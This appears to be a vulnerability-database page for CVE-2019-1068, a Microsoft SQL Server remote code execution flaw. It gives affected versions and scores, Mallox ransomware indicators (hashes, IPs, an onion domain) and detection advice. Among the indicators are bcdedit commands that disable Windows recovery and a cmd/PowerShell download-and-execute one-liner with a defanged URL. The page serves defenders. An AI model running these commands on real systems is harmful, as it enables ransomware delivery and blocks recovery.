cbcvebase.
CVE-2019-1068
published 2019-07-15

CVE-2019-1068: A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions, aka 'Microsoft SQL Server…

PriorityP187high8.8CVSS 3.0
AVNACLPRLUINSUCHIHAH
ITWEXPLOITVulnCheck KEVRansomware
Exploited in the wild
EPSS
33.02%
98.2th percentile
A remote code execution vulnerability exists in Microsoft SQL Server when it incorrectly handles processing of internal functions, aka 'Microsoft SQL Server Remote Code Execution Vulnerability'.

Affected

22 ranges
VendorProductVersion rangeFixed in
microsoftmicrosoft_sql_server
microsoftmicrosoft_sql_server
microsoftmicrosoft_sql_server
microsoftmicrosoft_sql_server
microsoftmicrosoft_sql_server
microsoftmicrosoft_sql_server_2014_service_pack_2_for_32-bit_systems
microsoftmicrosoft_sql_server_2014_service_pack_2_for_x64-based_systems
microsoftmicrosoft_sql_server_2014_service_pack_3_for_32-bit_systems
microsoftmicrosoft_sql_server_2014_service_pack_3_for_x64-based_systems
microsoftmicrosoft_sql_server_2016_for_x64-based_systems_service_pack_1
microsoftmicrosoft_sql_server_2016_for_x64-based_systems_service_pack_2
microsoftmicrosoft_sql_server_2017_for_x64-based_systems
microsoftsql_server
microsoftsql_server
microsoftsql_server
msrcmicrosoft_sql_server_2014_service_pack_2_for_32-bit_systems
msrcmicrosoft_sql_server_2014_service_pack_2_for_x64-based_systems
msrcmicrosoft_sql_server_2014_service_pack_3_for_32-bit_systems
msrcmicrosoft_sql_server_2014_service_pack_3_for_x64-based_systems
msrcmicrosoft_sql_server_2016_for_x64-based_systems_service_pack_1
msrcmicrosoft_sql_server_2016_for_x64-based_systems_service_pack_2
msrcmicrosoft_sql_server_2017_for_x64-based_systems

Detection & IOCsextracted from sources · hover to see the quote

hash3d434b7cc9589c43d986bf0e1cadb956391b5f9a
hash9295a02c49aa50475aa7876ca80b3081a361ff7d
hash3fa79012dfdac626a19017ed6974316df13bc6ff
hash7e7957d7e7fd7c27b9fb903a0828b09cbb44c196
hash08a236455490d5246a880821ba33108c4ef00047
hash0d2711c5f8eb84bd9915a4191999afd46abca67a
hash0e45e8a5b25c756f743445f0317c6352d3c8040a
hash11d7779e77531eb27831e65c32798405746ccea1
hash246e7f798c3bfba81639384a58fa94174a08be80
hash273e40d0925af9ad6ca6d1c6a9d8e669a3bdc376
hash2a6f632ab771e7da8c551111e2df786979fd895d
hash2c49fa21b0a8415994412fe30e023907f8a7b46e
hash33c24486f41c3948fbd761e6f55210807af59a1f
hash4c863df8ea7446cb7fba6e582959bc3097f92b5c
hash4fcfb65cb757c83ed91bc01b3f663072a52da54b
hash5229a5d56836c3d3fc7fb12a43a431b5c90f771d
hash552862af77b204ac1f69b9e25937cc60e30e6c0f
hash5d0b9521cca0c911d49162e7f416a1463fbaefae
hash5d9cc0bc652b1d21858d2e4ddd35303cd9aeb2a3
hash63408c84c5d642cf1c5b643a97b84e22e18323c0
hash643918830b87691422d6d7bd669c408679411303
hash65d7cb5f1770b77b047baf376bd6b4cf86c5d42c
hash88eef50d85157f2e0552aab07cac7e7ec21680f5
hash88f8629423efe84e2935eb71d292e194be951a16
hash9d182e17f88e26cb0928e8d07d6544c2d17e99f5
hasha8886c9417b648944d2afd6b6c4941588d670e3c
hashdb3fd39fc826e87fa70840e86d5c12eef0fe0566
hashee15c76e07051c10059a14e03d18a6358966e290
hashfb05a6fafc28194d011a909d946b3efa64cdb4cf
domainwtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion
ip104.21.76.77
ip104.237.62.211
ip172.67.191.103
ip64.185.227.155
ip80.66.75.37
filenameupdt.ps1
filenameKill-Delete.bat
filenameBwmeldokiller.bat
commandbcdedit.exe /set {current} bootstatuspolicy ignoreallfailures
commandbcdedit.exe /set {current} recoveryenabled no
commandcmd.exe /C "echo $cl = New-Object System.Net.WebClient >%APPDATA%\alta.ps1 & echo $cl.DownloadFile("hxxp[:]///scavenger.exe", "%APPDATA%\box.bat") >> %APPDATA%\alta.ps1 & sqlps -ExecutionPolicy Bypass %APPDATA%\alta.ps1 & WMIC process call create "%APPDATA%\box.bat""
filenamealta.ps1
filenamebox.bat
  • Monitor MS-SQL server processes (sqlservr.exe) spawning cmd.exe or PowerShell child processes — a key indicator of CVE-2019-1068 exploitation leading to Mallox ransomware deployment.
  • Detect use of 'sqlps' with '-ExecutionPolicy Bypass' to launch downloaded PowerShell scripts from %APPDATA%, which is the Mallox first-stage execution pattern post-exploitation.
  • Alert on WMIC being used to create processes from %TEMP% or %APPDATA% directories, consistent with Mallox ransomware payload launch after CVE-2019-1068 exploitation.
  • Detect creation of updt.ps1 in %TEMP% combined with PowerShell -ExecutionPolicy Bypass execution, a hallmark of Mallox's download-and-execute chain.
  • Alert on bcdedit.exe being called with 'bootstatuspolicy ignoreallfailures' and 'recoveryenabled no' — Mallox ransomware disables Windows recovery to prevent remediation.
  • CVE-2019-1068 exploitation requires an authenticated attacker submitting a specially crafted query; monitor for anomalous authenticated SQL query patterns against internet-facing MS-SQL servers, especially from unexpected source IPs.
  • ·CVE-2019-1068 exploitation requires authentication — unauthenticated network scanning alone is insufficient to trigger the vulnerability; attackers may first brute-force or credential-stuff MS-SQL accounts before exploiting.
  • ·The download URL in the Mallox PowerShell dropper command is partially redacted/defanged in the source (XXXXXXXXX.exe); the C2 IP 80.66.75.37 is listed separately as a known Mallox distro/C2 address and should be used for blocking rather than the redacted URL.
  • ·Mallox affiliates are free to choose their own initial access methods; while CVE-2019-1068 is a documented vector, phishing delivering Cobalt Strike/Sliver and brute-force attacks are also used, so detections should not be scoped solely to SQL exploitation.

CVSS provenance

nvdv3.08.8HIGHCVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
vulncheck8.8HIGH
vendor_msrc8.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.